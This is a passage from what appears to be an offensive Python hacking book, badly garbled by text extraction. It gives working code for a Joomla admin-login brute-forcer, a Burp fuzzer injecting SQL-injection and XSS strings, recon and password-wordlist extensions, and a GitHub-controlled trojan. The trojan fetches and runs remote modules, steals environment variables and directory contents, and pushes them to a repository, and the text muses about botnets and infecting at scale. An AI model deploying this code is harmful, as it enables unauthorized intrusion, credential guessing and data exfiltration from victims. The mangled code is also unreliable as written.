page response read(print "trying% % (% left)(self username,brute,self password_q qsize()parse out the hidden fields parser bruteparser(parser feed(pagepost_tags parser tag_results add our username and password fields post_tags[username_fieldself username post_tags[password_fieldbrute login_data urllib urlencode(post_tagslogin_response opener open(target_postlogin_datalogin_result login_response read(if success_check in login_resultself found true print "[*bruteforce successful print "[*username%susername print "[*password%sbrute print "[*waiting for other threads to exit this is our primary brute-forcing classwhich will handle all of the http requests and manage cookies for us after we grab our password attemptwe set up our cookie jar using the filecookiejar class that will store the cookies in the cookies file next we initialize our urllib openerpassing in the initialized cookie jarwhich tells urllib to pass off any cookies to it we then make the initial request to retrieve the login form when we have the raw htmlwe pass it off to our html parser and call its feed method which returns dictionary of all of the retrieved form elements after we have successfully parsed the htmlwe replace the username and password fields with our brute-forcing attempt next we url encode the post variables and then pass them in our subsequent http request after we retrieve the result of our authentication attemptwe test whether the authentication was successful or not now let' implement the core of our html processing add the following class to your joomla_killer py scriptclass bruteparser(htmlparser)def __init__(self)htmlparser __init__(selfself tag_results {def handle_starttag(selftagattrs)if tag ="input"tag_name none tag_value none for name,value in attrsif name ="name"tag_name value if name ="value"tag_value value if tag_name is not noneself tag_results[tag_namevalue this forms the specific html parsing class that we want to use against our target after you have the basics of using the htmlparser classyou can adapt it to extract information from any web application that you might be attacking the first thing we do is create dictionary in which our
7,160
our handle_starttag function is called whenever tag is encountered in particularwe're looking for html input tags and our main processing occurs when we determine that we have found one we begin iterating over the attributes of the tagand if we find the name or value attributeswe associate them in the tag_results dictionary after the html has been processedour bruteforcing class can then replace the username and password fields while leaving the remainder of the fields intact pa there are three primary methods you can implement when using the htmlparser classhandle_starttaghandle_endtagand handle_data the handle_starttag function will be called any time an opening html tag is encounteredand the opposite is true for the handle_endtag functionwhich gets called each time closing html tag is encountered the handle_data function gets called when there is raw text in between tags the function prototypes for each function are slightly differentas followshandle_starttag(selftagattributeshandle_endttag(selftaghandle_data(selfdataa quick example to highlight thispython rockshandle_starttag =tag variable would be "titlehandle_data =data variable would be "python rocks!handle_endtag =tag variable would be "titlewith this very basic understanding of the htmlparser classyou can do things like parse formsfind links for spideringextract all of the pure text for data mining purposesor find all of the images in page to wrap up our joomla brute forcerlet' copy-paste the build_wordlist function from our previous section and add the following codepaste the build_wordlist function here words build_wordlist(wordlist_filebruter_obj bruter(username,wordsbruter_obj run_bruteforce(that' itwe simply pass in the username and our wordlist to our bruter class and watch the magic happen
7,161
if you don' have joomla installed into your kali vmthen you should install it now my target vm is at and am using wordlist provided by cain and abel,[ popular bruteforcing and cracking toolset have already preset the username to admin and the password to justin in the joomla installation so that can make sure it works then added justin to the cain txt wordlist file about entries or so down the file when running the scripti get the following outputpython joomla_killer py finished setting up foradmin tryingadmin racl ( lefttryingadmin !@#$( lefttryingadmin !@#$%( left--snip-tryingadmin ( lefttryingadmin qw ( lefttryingadmin ( lefttryingadmin sanjose ( lefttryingadmin ( lefttryingadmin justin ( lefttryingadmin ( left[*bruteforce successful [*usernameadmin [*passwordjustin [*waiting for other threads to exit tryingadmin ( lefttryingadmin welcome ( leftyou can see that it successfully brute-forces and logs in to the joomla administrator console to verifyyou of course would manually log in and make sure after you test this locally and you're certain it worksyou can use this tool against target joomla installation of your choice [ dirbuster project[ svndigger project[ cain and abel
7,162
if you've ever tried hacking web applicationyou likely have used burp suite to perform spideringproxy browser trafficand carry out other attacks recent versions of burp suite include the ability to add your own toolingcalled extensionsto burp using pythonrubyor pure javayou can add panels in the burp gui and build automation techniques into burp suite we're going to take advantage of this feature and add some handy tooling to burp for performing attacks and extended reconnaissance the first extension will enable us to utilize an intercepted http request from burp proxy as seed for creating mutation fuzzer that can be run in burp intruder the second extension will interface with the microsoft bing api to show us all virtual hosts located on the same ip address as our target siteas well as any subdomains detected for the target domain ' going to assume that you have played with burp before and that you know how to trap requests with the proxy toolas well as how to send trapped request to burp intruder if you need tutorial on how to do these tasksplease visit portswigger web security (started have to admit that when first started exploring the burp extender apiit took me few attempts to understand how it worked found it bit confusingas ' pure python guy and have limited java development experience but found number of extensions on the burp website that let me see how other folks had developed extensionsand used that prior art to help me understand how to begin implementing my own code ' going to cover some basics on extending functionalitybut 'll also show you how to use the api documentation as guide for developing your own extensions
7,163
firstdownload burp from to admit thisyou will require modern java installationwhich all operating systems either have packages or installers for the next step is to grab the jython ( python implementation written in javastandalone jar filewe'll point burp to this you can find this jar file on the no starch site along with the rest of the book' code (official sitedon' let the name fool youit' just jar file save the jar file to an easy-to-remember locationsuch as your desktop nextopen up command-line terminaland run burp like so#java -xx:maxpermsize= -jar burpsuite_pro_v jar this will get burp to fire up and you should see its ui full of wonderful tabsas shown in figure - now let' point burp at our jython interpreter click the extender taband then click the options tab in the python environment sectionselect the location of your jython jar fileas shown in figure - you can leave the rest of the options aloneand we should be ready to start coding our first extension let' get rockingfigure - burp suite gui loaded properly
7,164
7,165
at some point in your careeryou may find yourself attacking web application or web service that doesn' allow you to use traditional web application assessment tools whether working with binary protocol wrapped inside http traffic or complex json requestsit is critical that you are able to test for traditional web application bugs the application might be using too many parametersor it' obfuscated in some way that performing manual test would take far too much time have also been guilty of running standard tools that are not designed to deal with strange protocols or even json in lot of cases this is where it is useful to be able to leverage burp to establish solid baseline of http trafficincluding authentication cookieswhile passing off the body of the request to custom fuzzer that can then manipulate the payload in any way you choose we are going to work on our first burp extension to create the world' simplest web application fuzzerwhich you can then expand into something more intelligent burp has number of tools that you can use when you're performing web application tests typicallyyou will trap all requests using the proxyand when you see an interesting request go pastyou'll send it to another burp tool common technique use is to send them to the repeater toolwhich lets me replay web trafficas well as manually modify any interesting spots to perform more automated attacks in query parametersyou will send request to the intruder toolwhich attempts to automatically figure out which areas of the web traffic should be modifiedand then allows you to use variety of attacks to try to elicit error messages or tease out vulnerabilities burp extension can interact in numerous ways with the burp suite of toolsand in our case we'll be bolting additional functionality onto the intruder tool directly my first natural instinct is to take look at the burp api documentation to determine what burp classes need to extend in order to write my custom extension you can access this documentation by clicking the extender tab and then the apis tab this can look little daunting because it looks (and isvery java- the first thing we notice is that the developers of burp have aptly named each class so that it' easy to figure out where we want to start in particularbecause we're looking at fuzzing web requests during an intruder attacki see the iintruderpayloadgeneratorfactory and iintruderpayloadgenerator classes let' take look at what the documentation says for the iintruderpayloadgeneratorfactory class/*extensions can implement this interface and then call iburpextendercallbacks registerintruderpayloadgeneratorfactory(to register factory for custom intruder payloads *public interface iintruderpayloadgeneratorfactory /*this method is used by burp to obtain the name of the payload generator this will be displayed as an option within the intruder ui when the user selects to use extension-generated payloads @return the name of the payload generator *string getgeneratorname()/*this method is used by burp when the user starts an intruder attack that uses this payload generator
7,166
an iintruderattack object that can be queried to obtain details about the attack in which the payload generator will be used @return new instance of iintruderpayloadgenerator that will be used to generate payloads for the attack *iintruderpayloadgenerator createnewinstance(iintruderattack attack)the first bit of documentation tells us to get our extension registered correctly with burp we're going to extend the main burp class as well as the iintruderpayloadgeneratorfactory class next we see that burp is expecting two functions to be present in our main class the getgeneratorname function will be called by burp to retrieve the name of our extensionand we are expected to return string the createnewinstance function expects us to return an instance of the iintruderpayloadgeneratorwhich will be second class that we have to create now let' implement the actual python code to meet these requirementsand then we'll look at how the iintruderpayloadgenerator class gets added open new python filename it bhp_fuzzer pyand punch out the following codefrom burp import iburpextender from burp import iintruderpayloadgeneratorfactory from burp import iintruderpayloadgenerator from java util import listarraylist import random class burpextender(iburpextenderiintruderpayloadgeneratorfactory)def registerextendercallbacks(selfcallbacks)self _callbacks callbacks self _helpers callbacks gethelpers(callbacks registerintruderpayloadgeneratorfactory(selfreturn def getgeneratorname(self)return "bhp payload generatordef createnewinstance(selfattack)return bhpfuzzer(selfattackso this is the simple skeleton of what we need in order to satisfy the first set of requirements for our extension we have to first import the iburpextender class which is requirement for every extension we write we follow this up by importing our necessary classes for creating an intruder payload generator next we define our burpextender class which extends the iburpextender and iintruderpayloadgeneratorfactory classes we then use the registerintruderpayloadgeneratorfactory function to register our class so that the intruder tool is aware that we can generate payloads next we implement the getgeneratorname function to simply return the name of our pay-load generator the last step is the createnewinstance function that receives the attack parameter and returns an instance of the iintruderpayloadgenerator classwhich we called bhpfuzzer let' have peek at the documentation for the iintruderpayloadgenerator class so we know what to implement /*
7,167
extensions that have registered an iintruderpayloadgeneratorfactory must return new instance of this interface when required as part of new intruder attack *public interface iintruderpayloadgenerator /*this method is used by burp to determine whether the payload generator is able to provide any further payloads @return extensions should return false when all the available payloads have been used upotherwise true *boolean hasmorepayloads()/*this method is used by burp to obtain the value of the next payload @param basevalue the base value of the current payload position this value may be null if the concept of base value is not applicable ( in battering ram attack@return the next payload to use in the attack *byte[getnextpayload(byte[basevalue)/*this method is used by burp to reset the state of the payload generator so that the next call to getnextpayload(returns the first payload again this method will be invoked when an attack uses the same payload generator for more than one payload positionfor example in sniper attack *void reset()okayso we need to implement the base class and it needs to expose three functions the first functionhasmorepayloads is simply there to decide whether to continue mutated requests back to burp intruder we'll just use counter to deal with thisand once the counter is at the maximum that we setwe'll return false so that no more fuzzing cases are generated the getnextpayload function will receive the original payload from the http request that you trapped orif you have selected multiple payload areas in the http requestyou will only receive the bytes that you requested to be fuzzed (more on this laterthis function allows us to fuzz the original test case and then return it so that burp sends the new fuzzed value the last functionreset is there so that if we generate known set of fuzzed requests -say five of them -then for each payload position we have designated in the intruder tabwe will iterate through the five fuzzed values our fuzzer isn' so fussyand will always just keep randomly fuzzing each http request now let' see how this looks when we implement it in python add the following code to the bottom of bhp_fuzzer pyclass bhpfuzzer(iintruderpayloadgenerator)def __init__(selfextenderattack)self _extender extender self _helpers extender _helpers self _attack attack self max_payloads self num_iterations return
7,168
def hasmorepayloads(self)if self num_iterations =self max_payloadsreturn false elsereturn true def getnextpayload(self,current_payload)convert into string payload "join(chr(xfor in current_payloadcall our simple mutator to fuzz the post payload self mutate_payload(payloadincrease the number of fuzzing attempts self num_iterations + return payload def reset(self)self num_iterations return we start by defining our bhpfuzzer class that extends the class iintruderpayloadgenerator we define the required class variables as well as add max_payloads and num_iterations variables so that we can keep track of when to let burp know we're finished fuzzing you could of course let the extension run forever if you likebut for testing we'll leave this in place next we implement the hasmorepayloads function that simply checks whether we have reached the maximum number of fuzzing iterations you could modify this to continually run the extension by always returning true the getnextpayload function is the one that receives the original http payload and it is here that we will be fuzzing the current_payload variable arrives as byte arrayso we convert this to string and then pass it to our fuzzing function mutate_payload we then increment the num_iterations variable and return the mutated payload our last function is the reset function that returns without doing anything now let' drop in the world' simplest fuzzing function that you can modify to your heart' content because this function is aware of the current payloadif you have tricky protocol that needs something speciallike crc checksum at the beginning of the payload or length fieldyou can do those calculations inside this function before returningwhich makes it extremely flexible add the following code to bhp_fuzzer pymaking sure that the mutate_payload function is tabbed into our bhpfuzzer classdef mutate_payload(self,original_payload)pick simple mutator or even call an external script picker random randint( , select random offset in the payload to mutate offset random randint( ,len(original_payload)- payload original_payload[:offsetrandom offset insert sql injection attempt if picker = payload +"'jam an xss attempt in if picker = payload +"alert('bhp!');repeat chunk of the original payload random number if picker =
7,169
repeater random randint( , for in range(repeater)payload +original_payload[offset:offset+chunk_lengthadd the remaining bits of the payload payload +original_payload[offset:return payload this simple fuzzer is pretty self-explanatory we'll randomly pick from three mutatorsa simple sql injection test with single-quotean xss attemptand then mutator that selects random chunk in the original payload and repeats it random number of times we now have burp intruder extension that we can use let' take look at how we can get it loaded
7,170
first we have to get our extension loaded and make sure there are no errors click the extender tab in burp and then click the add button screen appears that will allow you to point burp at the fuzzer ensure that you set the same options as shown in figure - figure - setting burp to load our extension click next and burp will begin loading our extension if all goes wellburp should indicate that the extension was loaded successfully if there are errorsclick the errors tabdebug any typosand then click the close button your extender screen should now look like figure -
7,171
you can see that our extension is loaded and that burp has identified that an intruder payload generator is registered we are now ready to leverage our extension in real attack make sure your web browser is set to use burp proxy as localhost proxy on port and let' attack the same acunetix web application from simply browse toas an examplei used the little search bar on their site to submit search for the string "testfigure - shows how can see this request in the http history tab of the proxy taband have rightclicked the request to send it to intruder
7,172
now switch to the intruder tab and click the positions tab screen appears that shows each query parameter highlighted this is burp identifying the spots where we should be fuzzing you can try moving the payload delimiters around or selecting the entire payload to fuzz if you choosebut in our case let' leave burp to decide where we are going to fuzz for claritysee figure - which shows how payload highlighting works now click the payloads tab in this screenclick the payload type drop-down and select extensiongenerated in the payload options sectionclick the select generator button and choose bhp payload generator from the drop-down your payload screen should now look like figure -
7,173
figure - using our fuzzing extension as payload generator
7,174
start attack this starts sending fuzzed requestsand you will be able to quickly go through the results when ran the fuzzeri received output as shown in figure - figure - our fuzzer running in an intruder attack as you can see from the warning on line of the responsein request we discovered what appears to be sql injection vulnerability now of courseour fuzzer is only for demonstration purposesbut you'll be surprised how effective it can be for getting web application to output errorsdisclose application pathsor behave in ways that lots of other scanners might miss the important thing is to understand how we managed to get our custom extension in line with intruder attacks now let' create an extension that will assist us in performing some extended reconnaissance against web server
7,175
when you're attacking web serverit' not uncommon for that single machine to serve several web applicationssome of which you might not be aware of of courseyou want to discover these hostnames exposed on the same web server because they might give you an easier way to get shell it' not rare to find an insecure web application or even development resources located on the same machine as your target microsoft' bing search engine has search capabilities that allow you to query bing for all websites it finds on single ip address (using the "ipsearch modifierbing will also tell you all of the subdomains of given domain (using the "domainmodifiernow we couldof courseuse scraper to submit these queries to bing and then scrape the html in the resultsbut that would be bad manners (and also violate most search enginesterms of usein order to stay out of troublewe can use the bing api[ to submit these queries programmatically and then parse the results ourselves we won' implement any fancy burp gui additions (other than context menuwith this extensionwe simply output the results into burp each time we run queryand any detected urls to burp' target scope will be added automatically because already walked you through how to read the burp api documentation and translate it into pythonwe're going to get right to the code crack open bhp_bing py and hammer out the following codefrom burp import iburpextender from burp import icontextmenufactory from javax swing import jmenuitem from java util import listarraylist from java net import url import socket import urllib import json import re import base bing_api_key "yourkeyclass burpextender(iburpextendericontextmenufactory)def registerextendercallbacks(selfcallbacks)self _callbacks callbacks self _helpers callbacks gethelpers(self context none we set up our extension callbacks setextensionname("bhp bing"callbacks registercontextmenufactory(selfreturn def createmenuitems(selfcontext_menu)self context context_menu menu_list arraylist(menu_list add(jmenuitem("send to bing"actionperformed=self bing_ menu)return menu_list this is the first bit of our bing extension make sure you have your bing api key pasted in place you are allowed something like , free searches per month we begin by defining our burpextender class that implements the standard iburpextender interface and the icontextmenufactorywhich allows us to provide context menu when user right-clicks request in burp we register our menu handler so that we can determine which site the user
7,176
createmenuitem functionwhich will receive an icontextmenuinvocation object that we will use to determine which http request was selected the last step is to render our menu item and have the bing_menu function handle the click event now let' add the functionality to perform the bing queryoutput the resultsand add any discovered virtual hosts to burp' target scope def bing_menu(self,event)grab the details of what the user clicked http_traffic self context getselectedmessages(print "% requests highlightedlen(http_trafficfor traffic in http_traffichttp_service traffic gethttpservice(host http_service gethost(print "user selected host%shost self bing_search(hostreturn def bing_search(self,host)check if we have an ip or hostname is_ip re match("[ - ]+(?:[ - ]+){ }"hostif is_ipip_address host domain false elseip_address socket gethostbyname(hostdomain true bing_query_string "'ip:% 'ip_address self bing_query(bing_query_stringif domainbing_query_string "'domain:% 'host self bing_query(bing_query_stringour bing_menu function gets triggered when the user clicks the context menu item we defined we retrieve all of the http requests that were highlighted and then retrieve the host portion of the request for each one and send it to our bing_search function for further processing the bing_search function first determines if we were passed an ip address or hostname we then query bing for all virtual hosts that have the same ip address as the host contained within the http request that was right-clicked if domain has been passed to our extensionthen we also do secondary search for any subdomains that bing may have indexed now let' install the plumbing to use burp' http api to send the request to bing and parse the results add the following codeensuring that you're tabbed correctly into our burpextender classor you'll run into errors def bing_query(self,bing_query_string)print "performing bing search%sbing_query_string encode our query quoted_query urllib quote(bing_query_stringhttp_request "get format=json&$top= &query=% http/ \ \nquoted_query http_request +"hostapi datamarket azure com\ \
7,177
http_request +"connectionclose\ \nhttp_request +"authorizationbasic % \ \nbase encode(":%sbing_api_keyhttp_request +"user-agentblackhat python\ \ \ \njson_body self _callbacks makehttprequest("api datamarket azure com" ,true,http_requesttostring(json_body json_body split("\ \ \ \ ", )[ tryr json loads(json_bodyif len( [" "]["results"])for site in [" "]["results"]print "* print site['title'print site['url'print site['description'print "* j_url url(site['url']if not self _callbacks isinscope(j_url)print "adding to burp scopeself _callbacks includeinscope(j_urlexceptprint "no results from bingpass return okayburp' http api requires that we build up the entire http request as string before sending it offand in particular you can see that we need to base -encode our bing api key and use http basic authentication to make the api call we then send our http request to the microsoft servers when the response returnswe'll have the entire response including the headersso we split the headers off and then pass it to our json parser for each set of resultswe output some information about the site that we discovered and if the discovered site is not in burp' target scope we automatically add it this is great blend of using the jython api and pure python in burp extension to do additional recon work when attacking particular target let' take it for spin
7,178
use the same procedure we used for our fuzzing extension to get the bing search extension working when it' loadedbrowse to just issued if the extension is loaded properlyyou should see the menu option send to bing displayed as shown in figure - figure - new menu option showing our extension when you click this menu optiondepending on the output you chose when you loaded the extensionyou should start to see results from bing as shown in figure -
7,179
and if you click the target tab in burp and then select scopeyou will see new items automatically added to our target scope as shown in figure - the target scope limits activities such as attacksspideringand scans to only those hosts defined
7,180
7,181
many timessecurity comes down to one thinguser passwords it' sad but true making things worsewhen it comes to web applicationsespecially custom onesit' all too common to find that account lockouts aren' implemented in other instancesstrong passwords are not enforced in these casesan online password guessing session like the one in the last might be just the ticket to gain access to the site the trick to online password guessing is getting the right wordlist you can' test million passwords if you're in hurryso you need to be able to create wordlist targeted to the site in question of coursethere are scripts in the kali linux distribution that crawl website and generate wordlist based on site content though if you've already used burp spider to crawl the sitewhy send more traffic just to generate wordlistplusthose scripts usually have ton of command-line arguments to remember if you're anything like meyou've already memorized enough command-line arguments to impress your friendsso let' make burp do the heavy lifting open bhp_wordlist py and knock out this code from burp import iburpextender from burp import icontextmenufactory from javax swing import jmenuitem from java util import listarraylist from java net import url import re from datetime import datetime from htmlparser import htmlparser class tagstripper(htmlparser)def __init__(self)htmlparser __init__(selfself page_text [def handle_data(selfdata)self page_text append(datadef handle_comment(selfdata)self handle_data(datadef strip(selfhtml)self feed(htmlreturn join(self page_textclass burpextender(iburpextendericontextmenufactory)def registerextendercallbacks(selfcallbacks)self _callbacks callbacks self _helpers callbacks gethelpers(self context none self hosts set(start with something we know is common self wordlist set(["password"]we set up our extension callbacks setextensionname("bhp wordlist"callbacks registercontextmenufactory(selfreturn def createmenuitems(selfcontext_menu)self context context_menu menu_list arraylist(
7,182
actionperformed=self wordlist_menu)return menu_list the code in this listing should be pretty familiar by now we start by importing the required modules helper tagstripper class will allow us to strip the html tags out of the http responses we process later on its handle_data function stores the page text in member variable we also define handle_comment because we want the words stored in developer comments to be added to our password list as well under the covershandle_comment just calls handle_data (in case we want to change how we process page text down the roadthe strip function feeds html code to the base classhtmlparserand returns the resulting page text which will come in handy later the rest is almost exactly the same as the start of the bhp_bing py script we just finished once againthe goal is to create context menu item in the burp ui the only thing new here is that we store our wordlist in setwhich ensures that we don' introduce duplicate words as we go we initialize the set with everyone' favorite password"passwordjust to make sure it ends up in our final list now let' add the logic to take the selected http traffic from burp and turn it into base wordlist def wordlist_menu(self,event)grab the details of what the user clicked http_traffic self context getselectedmessages(for traffic in http_traffichttp_service traffic gethttpservice(host http_service gethost(self hosts add(hosthttp_response traffic getresponse(if http_responseself get_words(http_responseself display_wordlist(return def get_words(selfhttp_response)headersbody http_response tostring(split('\ \ \ \ ' skip non-text responses if headers lower(find("content-typetext"=- return tag_stripper tagstripper(page_text tag_stripper strip(bodywords re findall("[ -za- ]\ { ,}"page_textfor word in wordsfilter out long strings if len(word< self wordlist add(word lower()return our first order of business is to define the wordlist_menu functionwhich is our menu-click handler it saves the name of the responding host for laterand then retrieves the http response and feeds it to our get_words function from thereget_words splits out the header from the message body
7,183
strips the html code from the rest of the page text we use regular expression to find all words starting with an alphabetic character followed by two or more "wordcharacters after making the final cutthe successful words are saved in lowercase to the wordlist now let' round out the script by giving it the ability to mangle and display the captured wordlist def mangle(selfword)year datetime now(year suffixes [""" ""!"yearmangled [for password in (wordword capitalize())for suffix in suffixesmangled append("% % (passwordsuffix)return mangled def display_wordlist(self)print "#!commentbhp wordlist for site( % "join(self hostsfor word in sorted(self wordlist)for password in self mangle(word)print password return very nicethe mangle function takes base word and turns it into number of password guesses based on some common password creation "strategies in this simple examplewe create list of suffixes to tack on the end of the base wordincluding the current year next we loop through each suffix and add it to the base word to create unique password attempt we do another loop with capitalized version of the base word for good measure in the display_wordlist functionwe print "john the ripper"-style comment to remind us which sites were used to generate this wordlist then we mangle each base word and print the results time to take this baby for spin
7,184
click the extender tab in burpclick the add buttonand use the same procedure we used for our previous extensions to get the wordlist extension working when you have it loadedbrowse to right-click the site in the site map pane and select spider this hostas shown in figure - figure - spidering host with burp after burp has visited all the links on the target siteselect all the requests in the top-right panerightclick them to bring up the context menuand select create wordlistas shown in figure -
7,185
now check the output tab of the extension in practicewe' save its output to filebut for demonstration purposes we display the wordlist in burpas shown in figure - you can now feed this list back into burp intruder to perform the actual password-guessing attack
7,186
we have now demonstrated small subset of the burp apiincluding being able to generate our own attack payloads as well as building extensions that interact with the burp ui during penetration test you will often come up against specific problems or automation needsand the burp extender api provides an excellent interface to code your way out of corneror at least save you from having to continually copy and paste captured data from burp to another tool in this we showed you how to build an excellent reconnaissance tool to add to your burp tool belt as isthis extension only retrieves the top results from bingso as homework you could work on making additional requests to ensure that you retrieve all of the results this will require doing bit of reading about the bing api and writing some code to handle the larger results set you of course could then tell the burp spider to crawl each of the new sites you discover and automatically hunt for vulnerabilities[ visit
7,187
one of the most challenging aspects of creating solid trojan framework is asynchronously controllingupdatingand receiving data from your deployed implants it' crucial to have relatively universal way to push code to your remote trojans this flexibility is required not just to control your trojans in order to perform different tasksbut also because you might have additional code that' specific to the target operating system so while hackers have had lots of creative means of command and control over the yearssuch as irc or even twitterwe'll try service actually designed for code we'll use github as way to store implant configuration information and exfiltrated dataas well as any modules that the implant needs in order to execute tasks we'll also explore how to hack python' native library import mechanism so that as you create new trojan modulesyour implants can automatically attempt to retrieve them and any dependent libraries directly from your repotoo keep in mind that your traffic to github will be encrypted over ssland there are very few enterprises that 've seen that actively block github itself one thing to note is that we'll use public repo to perform this testingif you' like to spend the moneyyou can get private repo so that prying eyes can' see what you're doing additionallyall of your modulesconfigurationand data can be encrypted using public/private key pairswhich demonstrate in let' get started
7,188
if you don' have github accountthen head over to github comsign upand create new repository called nextyou'll want to install the python github api library[ so that you can automate your interaction with your repo you can do this from the command line by doing the followingpip install github py if you haven' done so alreadyinstall the git client do my development from linux machinebut it works on any platform now let' create basic structure for our repo do the following on the command lineadapting as necessary if you're on windowsmkdir trojan cd trojan git init mkdir modules mkdir config mkdir data touch modulesgitignore touch configgitignore touch datagitignore git add git commit - "adding repo structure for trojan git remote add origin git push origin master herewe've created the initial structure for our repo the config directory holds configuration files that will be uniquely identified for each trojan as you deploy trojansyou want each one to perform different tasks and each trojan will check out its unique configuration file the modules directory contains any modular code that you want the trojan to pick up and then execute we will implement special import hack to allow our trojan to import libraries directly from our github repo this remote load capability will also allow you to stash third-party libraries in github so you don' have to continually recompile your trojan every time you want to add new functionality or dependencies the data directory is where the trojan will check in any collected datakeystrokesscreenshotsand so forth now let' create some simple modules and an example configuration file
7,189
in later you will do nasty business with your trojanssuch as logging keystrokes and taking screenshots but to startlet' create some simple modules that we can easily test and deploy open new file in the modules directoryname it dirlister pyand enter the following codeimport os def run(**args)print "[*in dirlister module files os listdir("return str(filesthis little snippet of code simply exposes run function that lists all of the files in the current directory and returns that list as string each module that you develop should expose run function that takes variable number of arguments this enables you to load each module the same way and leaves enough extensibility so that you can customize the configuration files to pass arguments to the module if you desire now let' create another module called environment py import os def run(**args)print "[*in environment module return str(os environthis module simply retrieves any environment variables that are set on the remote machine on which the trojan is executing now let' push this code to our github repo so that it is useable by our trojan from the command lineenter the following code from your main repository directorygit add git commit - "adding new modulesgit push origin master username*******password*******you should then see your code getting pushed to your github repofeel free to log in to your account and double-checkthis is exactly how you can continue to develop code in the future will leave the integration of more complex modules to you as homework assignment should you have hundred deployed trojansyou can push new modules to your github repo and qa them by enabling your new module in configuration file for your local version of the trojan this wayyou can test on vm or host hardware that you control before allowing one of your remote trojans to pick up the code and use it
7,190
we want to be able to task our trojan with performing certain actions over period of time this means that we need way to tell it what actions to performand what modules are responsible for performing those actions using configuration file gives us that level of controland it also enables us to effectively put trojan to sleep (by not giving it any tasksshould we choose to each trojan that you deploy should have unique identifierboth so that you can sort out the retrieved data and so that you can control which trojan performs certain tasks we'll configure the trojan to look in the config directory for trojanid jsonwhich will return simple json document that we can parse outconvert to python dictionaryand then use the json format makes it easy to change configuration options as well move into your config directory and create file called abc json with the following content"module"dirlister}"module"environmentthis is just simple list of modules that we want the remote trojan to run later you'll see how we read in this json document and then iterate over each option to get those modules loaded as you brainstorm module ideasyou may find that it' useful to include additional configuration options such as execution durationnumber of times to run the selected moduleor arguments to be passed to the module drop into command line and issue the following command from your main repo directory git add git commit - "adding simple config git push origin master username*******password*******this configuration document is quite simple you provide list of dictionaries that tell the trojan what modules to import and run as you build up your frameworkyou can add additional functionality in these configuration optionsincluding methods of exfiltrationas show you in now that you have your configuration files and some simple modules to runyou'll start building out the main trojan piece
7,191
now we're going to create the main trojan that will suck down configuration options and code to run from github the first step is to build the necessary code to handle connectingauthenticatingand communicating to the github api let' start by opening new file called git_trojan py and entering the following codeimport json import base import sys import time import imp import random import threading import queue import os from github import login trojan_id "abctrojan_config "% jsontrojan_id data_path "data/% /trojan_id trojan_modules[configured false task_queue queue queue(this is just some simple setup code with the necessary importswhich should keep our overall trojan size relatively small when compiled say relatively because most compiled python binaries using py exe[ are around mb the only thing to note is the trojan_id variable that uniquely identifies this trojan if you were to explode this technique out to full botnetyou' want the capability to generate trojansset their idautomatically create configuration file that' pushed to githuband then compile the trojan into an executable we won' build botnet todaythoughi'll let your imagination do the work now let' put the relevant github code in place def connect_to_github()gh login(username="yourusername",password="yourpassword"repo gh repository("yourusername",""branch repo branch("master"return gh,repo,branch def get_file_contents(filepath)gh,repo,branch connect_to_github(tree branch commit commit tree recurse(for filename in tree treeif filepath in filename pathprint "[*found file %sfilepath blob repo blob(filename _json_data['sha']return blob content return none def get_trojan_config()global configured config_json get_file_contents(trojan_configconfig json loads(base decode(config_json)configured true
7,192
if task['module'not in sys modulesexec("import %stask['module']return config def store_module_result(data)gh,repo,branch connect_to_github(remote_path "data/% /% data(trojan_id,random randint( , )repo create_file(remote_path,"commit message",base encode(data)return these four functions represent the core interaction between the trojan and github the connect_to_github function simply authenticates the user to the repositoryand retrieves the current repo and branch objects for use by other functions keep in mind that in real-world scenarioyou want to obfuscate this authentication procedure as best as you can you might also want to think about what each trojan can access in your repository based on access controls so that if your trojan is caughtsomeone can' come along and delete all of your retrieved data the get_file_contents function is responsible for grabbing files from the remote repo and then reading the contents in locally this is used both for reading configuration options as well as reading module source code the get_trojan_config function is responsible for retrieving the remote configuration document from the repo so that your trojan knows which modules to run and the final function store_module_result is used to push any data that you've collected on the target machine now let' create an import hack to import remote files from our github repo
7,193
if you've made it this far in the bookyou know that we use python' import functionality to pull in external libraries so that we can use the code contained within we want to be able to do the same thing for our trojanbut beyond thatwe also want to make sure that if we pull in dependency (such as scapy or netaddr)our trojan makes that module available to all subsequent modules that we pull in python allows us to insert our own functionality into how it imports modulessuch that if module cannot be found locallyour import class will be calledwhich will allow us to remotely retrieve the library from our repo this is achieved by adding custom class to the sys meta_path list [ let' create custom loading class now by adding the following codeclass gitimporter(object)def __init__(self)self current_module_code "def find_module(self,fullname,path=none)if configuredprint "[*attempting to retrieve %sfullname new_library get_file_contents("modules/%sfullnameif new_library is not noneself current_module_code base decode(new_libraryreturn self return none def load_module(self,name)module imp new_module(nameexec self current_module_code in module __dict__ sys modules[namemodule return module every time the interpreter attempts to load module that isn' availableour gitimporter class is used the find_module function is called first in an attempt to locate the module we pass this call to our remote file loader and if we can locate the file in our repowe base -decode the code and store it in our class by returning selfwe indicate to the python interpreter that we found the module and it can then call our load_module function to actually load it we use the native imp module to first create new blank module object and then we shovel the code we retrieved from github into it the last step is to insert our newly created module into the sys modules list so that it' picked up by any future import calls now let' put the finishing touches on the trojan and take it for spin def module_runner(module)task_queue put( result sys modules[modulerun(task_queue get(store the result in our repo store_module_result(resultreturn main trojan loop sys meta_path [gitimporter()while true
7,194
config get_trojan_config(for task in configt threading thread(target=module_runner,args=(task['module'],) start(time sleep(random randint( , )time sleep(random randint( , )we first make sure to add our custom module importer before we begin the main loop of our application the first step is to grab the configuration file from the repo and then we kick off the module in its own thread while we're in the module_runner functionwe simply call the module' run function to kick off its code when it' done runningwe should have the result in string that we then push to our repo the end of our trojan will then sleep for random amount of time in an attempt to foil any network pattern analysis you could of course create bunch of traffic to google com or any number of other things in an attempt to disguise what your trojan is up to now let' take it for spin
7,195
all rightlet' take this thing for spin by running it from the command line wa if you have sensitive information in files or environment variablesremember that without private repositorythat information is going to go up to github for the whole world to see don' say didn' warn you -and of course you can use some encryption techniques from python git_trojan py [*found file abc json [*attempting to retrieve dirlister [*found file modules/dirlister [*attempting to retrieve environment [*found file modules/environment [*in dirlister module [*in environment module perfect it connected to my repositoryretrieved the configuration filepulled in the two modules we set in the configuration fileand ran them now if you drop back in to your command line from your trojan directoryentergit pull origin master from branch master -fetch_head updating fdf fast-forward data/abc/ data data/abc/ data files changed insertions(+) deletions(-create mode data/abc/ data create mode data/abc/ data awesomeour trojan checked in the results of our two running modules there are number of improvements and enhancements that you can make to this core command-andcontrol technique encryption of all your modulesconfigurationand exfiltrated data would be good start automating the backend management of pull-down dataupdating configuration filesand rolling out new trojans would also be required if you were going to infect on massive scale as you add more and more functionalityyou also need to extend how python loads dynamic and compiled libraries for nowlet' work on creating some standalone 